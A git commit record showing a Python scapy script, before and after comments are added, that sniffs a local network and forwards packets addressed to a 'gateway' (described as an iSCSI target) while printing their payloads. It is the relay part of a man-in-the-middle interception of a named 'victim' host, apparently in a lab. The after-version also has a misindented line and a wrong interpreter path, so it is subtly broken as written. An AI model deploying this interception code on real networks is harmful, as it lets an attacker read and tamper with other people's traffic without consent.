<commit_before>#!/etc/usr/python

from scapy.all import *
import sys

iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"

def handle_packet(packet):
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
        packet[Ether].dst = GATEWAY_MAC
        # TODO: block iscsi packets with an if condition
        sendp(packet)

        print "A packet from " + packet[IP].src + " redirected!"
        sprintf("{Raw:%Raw.load%\n}")

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)<commit_msg>add documentation to forwarding script.<commit_after>#!/etc/usr/python

from scapy.all import *
import sys

iface = "eth0"
filter = "ip"
#victim in this case is the initiator
VICTIM_IP = "192.168.1.121"
MY_IP = "192.168.1.154"
# gateway is the target
GATEWAY_IP = "192.168.1.171"
#VICTIM_MAC = "### don't want so show###"
MY_MAC = "08:00:27:7B:80:18"
#target mac address
GATEWAY_MAC = "08:00:27:24:08:34"

def handle_packet(packet):
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
        # we change the packet destination to the target machine
        packet[Ether].dst = GATEWAY_MAC
        # TODO: block iscsi packets with an if condition
        sendp(packet)

        print "A packet from " + packet[IP].src + " redirected!"
       #printing redirected packets load
       sprintf("{Raw:%Raw.load%\n}")

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
{'fraction_non_alphanumeric': 0.15254237288135594, 'fraction_numerical': 0.053358443188951665, 'mean_word_length': 3.7299703264094957, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 6, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2313742', 'n_tokens_mistral': 643, 'n_tokens_neox': 601, 'n_words': 146}